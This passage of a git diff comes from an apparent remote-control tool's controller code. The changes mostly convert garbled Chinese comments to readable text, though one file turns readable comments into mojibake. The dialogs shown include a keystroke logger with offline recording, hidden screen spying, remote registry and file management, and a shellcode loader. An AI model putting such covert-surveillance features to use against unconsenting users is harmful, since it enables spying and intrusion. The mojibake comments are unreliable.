&dwOffsetHigh, sizeof(dwOffsetHigh)); memcpy(lpBuffer + 5, &dwOffsetLow, sizeof(dwOffsetLow)); - // ֵ + // 返回值 bool bRet = true; ReadFile(hFile, lpBuffer + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL); SAFE_CLOSE_HANDLE(hFile); @@ -1974,7 +1974,7 @@ bool CFileManagerDlg::DeleteDirectory(LPCTSTR lpszDirectory) wsprintf(lpszFilter, "%s\\*.*", lpszDirectory); HANDLE hFind = FindFirstFile(lpszFilter, &wfd); - if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ + if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败 return FALSE; do { @@ -1991,7 +1991,7 @@ bool CFileManagerDlg::DeleteDirectory(LPCTSTR lpszDirectory) } } while (FindNextFile(hFind, &wfd)); - FindClose(hFind); // رղҾ + FindClose(hFind); // 关闭查找句柄 if(!RemoveDirectory(lpszDirectory)) { return FALSE; @@ -2006,10 +2006,10 @@ void CFileManagerDlg::OnLocalNewfolder() // TODO: Add your command handler code here CInputDialog dlg(this); - dlg.Init(_T("½Ŀ¼"), _T("Ŀ¼:")); + dlg.Init(_T("新建目录"), _T("请输入目录名称:")); if (dlg.DoModal() == IDOK && dlg.m_str.GetLength()) { - // Ŀ¼ + // 创建多层目录 MakeSureDirectoryPathExists(m_Local_Path + dlg.m_str + "\\"); FixedLocalFileList("."); } @@ -2022,12 +2022,12 @@ void CFileManagerDlg::OnRemoteNewfolder() // TODO: Add your command handler code here // TODO: Add your command handler code here CInputDialog dlg(this); - dlg.Init(_T("½Ŀ¼"), _T("Ŀ¼:")); + dlg.Init(_T("新建目录"), _T("请输入目录名称:")); if (dlg.DoModal() == IDOK && dlg.m_str.GetLength()) { CString file = m_Remote_Path + dlg.m_str + "\\"; UINT nPacketSize = file.GetLength() + 2; - // Ŀ¼ + // 创建多层目录 LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2); lpBuffer[0] = COMMAND_CREATE_FOLDER; memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1); @@ -2189,7 +2189,7 @@ void CFileManagerDlg::OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult) pM->EnableMenuItem(IDM_NEWFOLDER, MF_BYCOMMAND | MF_ENABLED); } if (pListCtrl->GetSelectedCount() == 1) { - // ļ + // 是文件夹 if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1) pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_GRAYED); else @@ -2224,7 +2224,7 @@ void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult) pM->EnableMenuItem(IDM_NEWFOLDER, MF_BYCOMMAND | MF_ENABLED); } if (pListCtrl->GetSelectedCount() == 1) { - // ļ + // 是文件夹 if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1) pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION| MF_GRAYED); else diff --git a/server/2015Remote/FileManagerDlg.h b/server/2015Remote/FileManagerDlg.h index 3f1aea8..fd2bd99 100644 --- a/server/2015Remote/FileManagerDlg.h +++ b/server/2015Remote/FileManagerDlg.h @@ -1,4 +1,4 @@ -#if !defined(AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_) +#if !defined(AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_) #define AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_ #include "TrueColorToolBar.h" // Added by ClassView #if _MSC_VER > 1000 @@ -27,7 +27,7 @@ typedef struct { #define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32)) -#define MAX_WRITE_RETRY 15 // дļ +#define MAX_WRITE_RETRY 15 // 重试写入文件次数 #define WM_MY_MESSAGE (WM_USER+300) @@ -41,7 +41,7 @@ typedef CList strList; class CFileManagerDlg : public DialogBase { protected: - // ״̬Ϣ + // 更新状态栏信息 afx_msg LRESULT OnMyMessage(WPARAM wParam, LPARAM lParam) { char *buff = (char*)lParam; @@ -63,9 +63,9 @@ public: void SendException(); void EndLocalRecvFile(); void EndRemoteDeleteFile(); - CString m_strOperatingFile; // ļ - __int64 m_nOperatingFileLength; // ļܴС - __int64 m_nCounter;// + CString m_strOperatingFile; // 文件名 + __int64 m_nOperatingFileLength; // 文件总大小 + __int64 m_nCounter;// 计数器 void WriteLocalRecvFile(); void CreateLocalRecvFile(); BOOL SendDownloadJob(); @@ -84,7 +84,7 @@ public: CString GetParentDirectory(CString strPath); void OnReceiveComplete(); - int m_nNewIconBaseIndex; // ¼ӵICON + int m_nNewIconBaseIndex; // 新加的ICON CProgressCtrl* m_ProgressCtrl; HCURSOR m_hCursor; @@ -195,7 +195,7 @@ protected: void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList); private: - bool m_bIsUpload; // ǷǰѱԶϣ־λ + bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位 bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath); void SendTransferMode(); void SendFileData(); diff --git a/server/2015Remote/FileTransferModeDlg.cpp b/server/2015Remote/FileTransferModeDlg.cpp index 17ee44e..fad442f 100644 --- a/server/2015Remote/FileTransferModeDlg.cpp +++ b/server/2015Remote/FileTransferModeDlg.cpp @@ -1,4 +1,4 @@ -// FileTransferModeDlg.cpp : implementation file +// FileTransferModeDlg.cpp : implementation file // #include "stdafx.h" @@ -55,7 +55,7 @@ BOOL CFileTransferModeDlg::OnInitDialog() // TODO: Add extra initialization here CString str; - str.Format("ļѰһΪ%sļ", m_strFileName); + str.Format("此文件夹已包含一个名为“%s”的文件", m_strFileName); for (int i = 0; i < str.GetLength(); i += 120) { str.Insert(i, "\n"); diff --git a/server/2015Remote/FileTransferModeDlg.h b/server/2015Remote/FileTransferModeDlg.h index 17afeb5..e1ca07b 100644 --- a/server/2015Remote/FileTransferModeDlg.h +++ b/server/2015Remote/FileTransferModeDlg.h @@ -1,4 +1,4 @@ -#if !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_) +#if !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_) #define AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_ #if _MSC_VER > 1000 diff --git a/server/2015Remote/HideScreenSpyDlg.h b/server/2015Remote/HideScreenSpyDlg.h index 1ef0845..782bd23 100644 --- a/server/2015Remote/HideScreenSpyDlg.h +++ b/server/2015Remote/HideScreenSpyDlg.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "stdafx.h" #include "../client/CursorInfo.h" #include "../common/jpeglib.h" @@ -83,8 +83,8 @@ protected: BYTE m_bCursorIndex; CString m_strTip; - clock_t m_lastMouseMove; // ƶʱ - POINT m_lastMousePoint;// ϴλ + clock_t m_lastMouseMove; // 鼠标移动时间 + POINT m_lastMousePoint;// 上次鼠标位置 private: CString m_aviFile; diff --git a/server/2015Remote/IOCPKCPServer.cpp b/server/2015Remote/IOCPKCPServer.cpp index 130a47a..46973e3 100644 --- a/server/2015Remote/IOCPKCPServer.cpp +++ b/server/2015Remote/IOCPKCPServer.cpp @@ -1,4 +1,4 @@ -#include "stdafx.h" +#include "stdafx.h" #include "IOCPKCPServer.h" #include "IOCPServer.h" @@ -28,12 +28,12 @@ CONTEXT_KCP* IOCPKCPServer::FindOrCreateClient(const sockaddr_in& addr, SOCKET s return it->second; } - // ½ CONTEXT_KCP + // 新建 CONTEXT_KCP CONTEXT_KCP* ctx = new CONTEXT_KCP(); ctx->InitMember(sClientSocket, this); ctx->clientAddr = addr; - // ʼ kcp + // 初始化 kcp IUINT32 conv = KCP_SESSION_ID; ctx->kcp = ikcp_create(conv, ctx); @@ -41,14 +41,14 @@ CONTEXT_KCP* IOCPKCPServer::FindOrCreateClient(const sockaddr_in& addr, SOCKET s CONTEXT_KCP* c = (CONTEXT_KCP*)user; WSABUF wsaBuf = { len, (CHAR*)buf }; DWORD sent = 0; - // ctx洢IP˿ڷ - // ע⣺Ҫ֤ ctx Ӧͻ˵ַ sClientSocket ȷ + // 根据ctx存储的IP端口发送 + // 注意:要保证 ctx 对应客户端地址,且 sClientSocket 正确 int ret = WSASendTo(c->sClientSocket, &wsaBuf, 1, &sent, 0, (sockaddr*)&c->clientAddr, c->addrLen, NULL, NULL); if (ret == SOCKET_ERROR) { DWORD err = WSAGetLastError(); - // Դӡ־ + // 可以打印错误日志 return -1; } return 0; @@ -85,13 +85,13 @@ UINT IOCPKCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc m_running = true; - // IOCP߳ + // 启动IOCP工作线程 m_hThread = CreateThread(NULL, 0, [](LPVOID param) -> DWORD { ((IOCPKCPServer*)param)->WorkerThread(); return 0; }, this, 0, NULL); - // KCPʱ߳ + // 启动KCP定时更新线程 m_kcpUpdateThread = std::thread(&IOCPKCPServer::KCPUpdateLoop, this); Mprintf("IOCPKCPServer StartServer: %p\n", this); @@ -131,7 +131,7 @@ void IOCPKCPServer::WorkerThread() } else { DWORD err = WSAGetLastError(); if (err != WSAEWOULDBLOCK && err != WSAEINTR) { - // ӡ + // 打印错误或做其他处理 } } } @@ -197,7 +197,7 @@ void IOCPKCPServer::Destroy() m_hIOCP = NULL; } - // пͻ + // 清理所有客户端 std::lock_guard lock(m_contextsMutex); for (auto& kv : m_clients) { if (kv.second) { diff --git a/server/2015Remote/IOCPKCPServer.h b/server/2015Remote/IOCPKCPServer.h index 25c9416..9bbb13f 100644 --- a/server/2015Remote/IOCPKCPServer.h +++ b/server/2015Remote/IOCPKCPServer.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "Server.h" diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 69a716a..d55a6a4 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "StdAfx.h" #include @@ -8,9 +8,9 @@ #define NC_CLIENT_CONNECT 0x0001 #define NC_RECEIVE 0x0004 -#define NC_RECEIVE_COMPLETE 0x0005 // +#define NC_RECEIVE_COMPLETE 0x0005 // 完整接收 -// ZLIB ѹ +// ZLIB 压缩库 #include "zlib/zlib.h" // ZSTD @@ -110,7 +110,7 @@ typedef CONTEXT_OBJECT ClientContext; #define m_Socket sClientSocket #define m_DeCompressionBuffer InDeCompressedBuffer -// ж̬ĶԻĻ +// 所有动态创建的对话框的基类 class CDialogBase : public CDialog { public: @@ -154,7 +154,7 @@ public: return FALSE; } virtual void OnReceiveComplete(void) = 0; - // ΪǷڽ + // 标记为是否正在接受数据 void MarkReceiving(bool recv = true) { m_bIsProcessing = recv; @@ -184,7 +184,7 @@ public: { return FALSE; } - // ȡ SOCKET ȡúԱε + // 取消 SOCKET 读取,该函数可以被多次调用 void CancelIO() { m_bIsClosed = TRUE; diff --git a/server/2015Remote/IOCPUDPServer.cpp b/server/2015Remote/IOCPUDPServer.cpp index d210554..f4557bc 100644 --- a/server/2015Remote/IOCPUDPServer.cpp +++ b/server/2015Remote/IOCPUDPServer.cpp @@ -1,4 +1,4 @@ -#include "stdafx.h" +#include "stdafx.h" #include "IOCPUDPServer.h" #include #include @@ -37,17 +37,17 @@ UINT IOCPUDPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc m_running = true; - // ߳ + // 启动工作线程 m_hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)+[](LPVOID param) -> DWORD { ((IOCPUDPServer*)param)->WorkerThread(); return 0; }, this, 0, NULL); - // ύʼ + // 提交多个初始接收 for (int i = 0; i < 4; ++i) PostRecv(); - return 0; // ɹ + return 0; // 成功 } void IOCPUDPServer::PostRecv() @@ -111,12 +111,12 @@ void IOCPUDPServer::WorkerThread() if (999 != ret) ctx->Destroy(); - // ͷ + // 释放 ioCtx->pContext = NULL; delete ioCtx; DelCount(); - PostRecv(); // ύ + PostRecv(); // 继续提交 } SAFE_CLOSE_HANDLE(m_hThread); m_hThread = NULL; @@ -158,7 +158,7 @@ BOOL IOCPUDPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, U VOID IOCPUDPServer::Destroy() { if (m_socket != INVALID_SOCKET) { - CancelIoEx((HANDLE)m_socket, NULL); // ȡIO + CancelIoEx((HANDLE)m_socket, NULL); // 取消所有IO请求 closesocket(m_socket); m_socket = INVALID_SOCKET; } @@ -167,7 +167,7 @@ VOID IOCPUDPServer::Destroy() Sleep(200); m_running = false; - PostQueuedCompletionStatus(m_hIOCP, 0, 0, NULL); // ڻ߳˳ + PostQueuedCompletionStatus(m_hIOCP, 0, 0, NULL); // 用于唤醒线程退出 if (m_hThread) { WaitForSingleObject(m_hThread, INFINITE); diff --git a/server/2015Remote/IOCPUDPServer.h b/server/2015Remote/IOCPUDPServer.h index 1d513e2..a938bb1 100644 --- a/server/2015Remote/IOCPUDPServer.h +++ b/server/2015Remote/IOCPUDPServer.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include #include #include diff --git a/server/2015Remote/KeyBoardDlg.cpp b/server/2015Remote/KeyBoardDlg.cpp index 19fe525..9389139 100644 --- a/server/2015Remote/KeyBoardDlg.cpp +++ b/server/2015Remote/KeyBoardDlg.cpp @@ -1,4 +1,4 @@ -// KeyBoardDlg.cpp : implementation file +// KeyBoardDlg.cpp : implementation file // #include "stdafx.h" @@ -65,18 +65,18 @@ BOOL CKeyBoardDlg::OnInitDialog() if (pSysMenu != NULL) { //pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND); pSysMenu->AppendMenu(MF_SEPARATOR); - pSysMenu->AppendMenu(MF_STRING, IDM_ENABLE_OFFLINE, "߼¼(&O)"); - pSysMenu->AppendMenu(MF_STRING, IDM_CLEAR_RECORD, "ռ¼(&C)"); - pSysMenu->AppendMenu(MF_STRING, IDM_SAVE_RECORD, "¼(&S)"); + pSysMenu->AppendMenu(MF_STRING, IDM_ENABLE_OFFLINE, "离线记录(&O)"); + pSysMenu->AppendMenu(MF_STRING, IDM_CLEAR_RECORD, "清空记录(&C)"); + pSysMenu->AppendMenu(MF_STRING, IDM_SAVE_RECORD, "保存记录(&S)"); if (m_bIsOfflineRecord) pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED); } UpdateTitle(); - m_edit.SetLimitText(MAXDWORD); // 󳤶 + m_edit.SetLimitText(MAXDWORD); // 设置最大长度 - // ֪ͨԶ̿ƶ˶ԻѾ + // 通知远程控制端对话框已经打开 BYTE bToken = COMMAND_NEXT; m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); @@ -88,11 +88,11 @@ BOOL CKeyBoardDlg::OnInitDialog() void CKeyBoardDlg::UpdateTitle() { CString str; - str.Format(_T("%s - ̼¼"), m_IPAddress); + str.Format(_T("%s - 键盘记录"), m_IPAddress); if (m_bIsOfflineRecord) - str += " (߼¼ѿ)"; + str += " (离线记录已开启)"; else - str += " (߼¼δ)"; + str += " (离线记录未开启)"; SetWindowText(str); } @@ -109,7 +109,7 @@ void CKeyBoardDlg::OnReceiveComplete() void CKeyBoardDlg::AddKeyBoardData() { - // 0 + // 最后填上0 m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1); int len = m_edit.GetWindowTextLength(); m_edit.SetSel(len, len); @@ -119,13 +119,13 @@ void CKeyBoardDlg::AddKeyBoardData() bool CKeyBoardDlg::SaveRecord() { CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.txt"); - CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "ıĵ(*.txt)|*.txt|", this); + CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "文本文档(*.txt)|*.txt|", this); if(dlg.DoModal () != IDOK) return false; CFile file; if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) { - MessageBox("ļʧܣ"+dlg.GetPathName(), "ʾ"); + MessageBox("文件保存失败:"+dlg.GetPathName(), "提示"); return false; } // Write the DIB header and the bits @@ -196,7 +196,7 @@ BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg) void CKeyBoardDlg::OnClose() { CancelIO(); - // ȴݴ + // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; diff --git a/server/2015Remote/KeyBoardDlg.h b/server/2015Remote/KeyBoardDlg.h index cdaff42..4605951 100644 --- a/server/2015Remote/KeyBoardDlg.h +++ b/server/2015Remote/KeyBoardDlg.h @@ -1,4 +1,4 @@ -#if !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_) +#if !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_) #define AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_ #include "Resource.h" diff --git a/server/2015Remote/Loader.c b/server/2015Remote/Loader.c index 738b7e4..3f45671 100644 --- a/server/2015Remote/Loader.c +++ b/server/2015Remote/Loader.c @@ -1,4 +1,4 @@ -// RDIShellcodeCLoader.cpp : Defines the entry point for the console application. +// RDIShellcodeCLoader.cpp : Defines the entry point for the console application. // https://github.com/Drewsif/sRDI/blob/master/Native/Loader.cpp #include diff --git a/server/2015Remote/RegisterDlg.cpp b/server/2015Remote/RegisterDlg.cpp index f292309..c1fc5ce 100644 --- a/server/2015Remote/RegisterDlg.cpp +++ b/server/2015Remote/RegisterDlg.cpp @@ -1,4 +1,4 @@ -// RegisterDlg.cpp : ʵļ +// RegisterDlg.cpp : 实现文件 // #include "stdafx.h" @@ -21,7 +21,7 @@ enum KEYVALUE { MREG_EXPAND_SZ }; -// CRegisterDlg Ի +// CRegisterDlg 对话框 IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog) @@ -52,7 +52,7 @@ BEGIN_MESSAGE_MAP(CRegisterDlg, CDialog) END_MESSAGE_MAP() -// CRegisterDlg Ϣ +// CRegisterDlg 消息处理程序 BOOL CRegisterDlg::OnInitDialog() @@ -61,12 +61,12 @@ BOOL CRegisterDlg::OnInitDialog() SetIcon(m_hIcon, TRUE); SetIcon(m_hIcon, FALSE); - // TODO: ڴӶijʼ + // TODO: 在此添加额外的初始化 CString str; - str.Format("%s - ע", m_IPAddress); + str.Format("%s - 注册表管理", m_IPAddress); SetWindowText(str); - m_ImageListTree.Create(18, 18, ILC_COLOR16,10, 0); // ؼϵͼ + m_ImageListTree.Create(18, 18, ILC_COLOR16,10, 0); //制作 树控件上的图标 auto hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_FATHER), IMAGE_ICON, 18, 18, 0); m_ImageListTree.Add(hIcon); @@ -75,7 +75,7 @@ BOOL CRegisterDlg::OnInitDialog() m_Tree.SetImageList(&m_ImageListTree,TVSIL_NORMAL); - m_hRoot = m_Tree.InsertItem("ע",0,0,0,0); //0 + m_hRoot = m_Tree.InsertItem("注册表管理",0,0,0,0); //0 HKCU = m_Tree.InsertItem("HKEY_CURRENT_USER",1,1,m_hRoot,0); //1 HKLM = m_Tree.InsertItem("HKEY_LOCAL_MACHINE",1,1,m_hRoot,0); HKUS = m_Tree.InsertItem("HKEY_USERS",1,1,m_hRoot,0); @@ -84,26 +84,26 @@ BOOL CRegisterDlg::OnInitDialog() m_Tree.Expand(m_hRoot,TVE_EXPAND); - m_ControlList.InsertColumn(0,"",LVCFMT_LEFT,150,-1); - m_ControlList.InsertColumn(1,"",LVCFMT_LEFT,60,-1); - m_ControlList.InsertColumn(2,"",LVCFMT_LEFT,300,-1); + m_ControlList.InsertColumn(0,"名称",LVCFMT_LEFT,150,-1); + m_ControlList.InsertColumn(1,"类型",LVCFMT_LEFT,60,-1); + m_ControlList.InsertColumn(2,"数据",LVCFMT_LEFT,300,-1); m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT); - //////ͼ////// + //////添加图标////// m_ImageListControlList.Create(16,16,TRUE,2,2); m_ImageListControlList.Add(THIS_APP->LoadIcon(IDI_ICON_STRING)); m_ImageListControlList.Add(THIS_APP->LoadIcon(IDI_ICON_DWORD)); m_ControlList.SetImageList(&m_ImageListControlList,LVSIL_SMALL); - m_isEnable = TRUE; //ֵΪ˽Ƶ 򱻿ض + m_isEnable = TRUE; //该值是为了解决频繁 向被控端请求 return TRUE; // return TRUE unless you set the focus to a control - // 쳣: OCX ҳӦ FALSE + // 异常: OCX 属性页应返回 FALSE } void CRegisterDlg::OnClose() { CancelIO(); - // ȴݴ + // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; @@ -129,20 +129,20 @@ void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult) return; } - m_hSelectedItem=Item.hItem; //û򿪵ڵ //0 1 2 2 3 + m_hSelectedItem=Item.hItem; //保存用户打开的子树节点句柄 //0 1 2 2 3 m_ControlList.DeleteAllItems(); - CString strFullPath=GetFullPath(m_hSelectedItem); //üֵ· + CString strFullPath=GetFullPath(m_hSelectedItem); //获得键值路径 char bToken=GetFatherPath(strFullPath); //[2] \1\2\3 - //һ - int nitem=m_ControlList.InsertItem(0,"(Ĭ)",0); + //愈加一个键 + int nitem=m_ControlList.InsertItem(0,"(默认)",0); m_ControlList.SetItemText(nitem,1,"REG_SZ"); - m_ControlList.SetItemText(nitem,2,"(δֵ)"); + m_ControlList.SetItemText(nitem,2,"(数据未设置值)"); - strFullPath.Insert(0,bToken);// Ǹ + strFullPath.Insert(0,bToken);//插入 那个根键 bToken=COMMAND_REG_FIND; - strFullPath.Insert(0,bToken); //ѯ [COMMAND_REG_FIND][x] + strFullPath.Insert(0,bToken); //插入查询命令 [COMMAND_REG_FIND][x] m_ContextObject->Send2Client((LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1); @@ -163,7 +163,7 @@ CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent) if(strTemp.Right(1) != "\\") strTemp += "\\"; strReturn = strTemp + strReturn; - hCurrent = m_Tree.GetParentItem(hCurrent); //õ + hCurrent = m_Tree.GetParentItem(hCurrent); //得到父的 } return strReturn; } @@ -171,7 +171,7 @@ CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent) char CRegisterDlg::GetFatherPath(CString& strFullPath) { char bToken; - if(!strFullPath.Find("HKEY_CLASSES_ROOT")) { //ж + if(!strFullPath.Find("HKEY_CLASSES_ROOT")) { //判断主键 bToken=MHKEY_CLASSES_ROOT; strFullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT")); } else if(!strFullPath.Find("HKEY_CURRENT_USER")) { @@ -210,7 +210,7 @@ void CRegisterDlg::OnReceiveComplete(void) break; } default: - // ䷢쳣 + // 传输发生异常数据 break; } m_bIsWorking = FALSE; @@ -218,9 +218,9 @@ void CRegisterDlg::OnReceiveComplete(void) struct REGMSG { - int count; //ָ - DWORD size; //ִС - DWORD valsize; //ֵС + int count; //名字个数 + DWORD size; //名字大小 + DWORD valsize; //值大小 }; @@ -232,12 +232,12 @@ void CRegisterDlg::AddPath(char* szBuffer) memcpy((void*)&msg,szBuffer,msgsize); DWORD size =msg.size; int count=msg.count; - if(size>0&&count>0) { //һ㱣ʩ + if(size>0&&count>0) { //一点保护措施 for(int i=0; i #include -// 静态变量 +// 闈欐€佸彉閲? static SERVICE_STATUS g_ServiceStatus; static SERVICE_STATUS_HANDLE g_StatusHandle = NULL; static HANDLE g_StopEvent = INVALID_HANDLE_VALUE; -// 前向声明 +// 鍓嶅悜澹版槑 static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv); static void WINAPI ServiceCtrlHandler(DWORD ctrlCode); @@ -23,25 +23,25 @@ BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, exePath[0] = '\0'; } - // 打开 SCM + // 鎵撳紑 SCM SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); if (!hSCM) { return FALSE; } - // 打开服务 + // 鎵撳紑鏈嶅姟 SC_HANDLE hService = OpenServiceA( hSCM, SERVER_SERVICE_NAME, SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG); if (!hService) { CloseServiceHandle(hSCM); - return FALSE; // 未注册 + return FALSE; // 鏈敞鍐? } *registered = TRUE; - // 获取服务状态 + // 鑾峰彇鏈嶅姟鐘舵€? SERVICE_STATUS_PROCESS ssp; DWORD bytesNeeded = 0; memset(&ssp, 0, sizeof(ssp)); @@ -54,7 +54,7 @@ BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, *running = (ssp.dwCurrentState == SERVICE_RUNNING); } - // 获取 EXE 路径 + // 鑾峰彇 EXE 璺緞 if (exePath && exePathSize > 0) { DWORD bufSize = 0; QueryServiceConfigA(hService, NULL, 0, &bufSize); @@ -77,13 +77,13 @@ BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, int ServerService_StartSimple(void) { - // 打开SCM + // 鎵撳紑SCM SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); if (!hSCM) { return (int)GetLastError(); } - // 打开服务并启动 + // 鎵撳紑鏈嶅姟骞跺惎鍔? SC_HANDLE hService = OpenServiceA(hSCM, SERVER_SERVICE_NAME, SERVICE_START); if (!hService) { int err = (int)GetLastError(); @@ -91,7 +91,7 @@ int ServerService_StartSimple(void) return err; } - // 启动服务 + // 鍚姩鏈嶅姟 BOOL ok = StartServiceA(hService, 0, NULL); int err = ok ? ERROR_SUCCESS : (int)GetLastError(); @@ -124,13 +124,13 @@ int ServerService_Run(void) int ServerService_Stop(void) { - // 打开SCM + // 鎵撳紑SCM SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); if (!hSCM) { return (int)GetLastError(); } - // 打开服务 + // 鎵撳紑鏈嶅姟 SC_HANDLE hService = OpenServiceA(hSCM, SERVER_SERVICE_NAME, SERVICE_STOP | SERVICE_QUERY_STATUS); if (!hService) { int err = (int)GetLastError(); @@ -138,7 +138,7 @@ int ServerService_Stop(void) return err; } - // 查询当前状态 + // 鏌ヨ褰撳墠鐘舵€? SERVICE_STATUS status; if (!QueryServiceStatus(hService, &status)) { int err = (int)GetLastError(); @@ -147,14 +147,14 @@ int ServerService_Stop(void) return err; } - // 如果服务未运行,直接返回成功 + // 濡傛灉鏈嶅姟鏈繍琛岋紝鐩存帴杩斿洖鎴愬姛 if (status.dwCurrentState == SERVICE_STOPPED) { CloseServiceHandle(hService); CloseServiceHandle(hSCM); return ERROR_SUCCESS; } - // 发送停止控制命令 + // 鍙戦€佸仠姝㈡帶鍒跺懡浠? if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) { DWORD err = GetLastError(); if (err != ERROR_SERVICE_NOT_ACTIVE) { @@ -164,7 +164,7 @@ int ServerService_Stop(void) } } - // 等待服务停止(最多30秒) + // 绛夊緟鏈嶅姟鍋滄锛堟渶澶?0绉掞級 int waitCount = 0; while (status.dwCurrentState != SERVICE_STOPPED && waitCount < 30) { Sleep(1000); @@ -272,7 +272,7 @@ static void WINAPI ServiceCtrlHandler(DWORD ctrlCode) } } -// 服务工作线程 +// 鏈嶅姟宸ヤ綔绾跨▼ DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam) { (void)lpParam; @@ -283,7 +283,7 @@ DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam) Mprintf("Worker thread started"); Mprintf("Service will launch Yama GUI in user sessions"); - // 初始化会话监控器 + // 鍒濆鍖栦細璇濈洃鎺у櫒 ServerSessionMonitor monitor; ServerSessionMonitor_Init(&monitor); @@ -296,10 +296,10 @@ DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam) Mprintf("Session monitor started successfully"); Mprintf("Yama GUI will be launched automatically in user sessions"); - // 主循环,只等待停止信号 + // 涓诲惊鐜紝鍙瓑寰呭仠姝俊鍙? while (WaitForSingleObject(g_StopEvent, 10000) != WAIT_OBJECT_0) { heartbeatCount++; - if (heartbeatCount % 6 == 0) { // 每60秒记录一次(10秒 * 6 = 60秒) + if (heartbeatCount % 6 == 0) { // 姣?0绉掕褰曚竴娆★紙10绉?* 6 = 60绉掞級 sprintf_s(buf, sizeof(buf), "Service heartbeat - uptime: %d minutes", heartbeatCount / 6); Mprintf(buf); } @@ -337,7 +337,7 @@ BOOL ServerService_Install(void) return FALSE; } - // 添加 -service 参数 + // 娣诲姞 -service 鍙傛暟 char szPathWithArg[MAX_PATH + 32]; sprintf_s(szPathWithArg, sizeof(szPathWithArg), "\"%s\" -service", szPath); @@ -377,12 +377,12 @@ BOOL ServerService_Install(void) Mprintf("SUCCESS: Service created successfully\n"); - // 设置服务描述 + // 璁剧疆鏈嶅姟鎻忚堪 SERVICE_DESCRIPTION sd; sd.lpDescription = (LPSTR)SERVER_SERVICE_DESC; ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd); - // 立即启动服务 + // 绔嬪嵆鍚姩鏈嶅姟 DWORD err = 0; Mprintf("Starting service...\n"); if (StartServiceA(schService, 0, NULL)) { @@ -437,7 +437,7 @@ BOOL ServerService_Uninstall(void) return FALSE; } - // 停止服务 + // 鍋滄鏈嶅姟 SERVICE_STATUS status; Mprintf("Stopping service...\n"); if (ControlService(schService, SERVICE_CONTROL_STOP, &status)) { @@ -463,7 +463,7 @@ BOOL 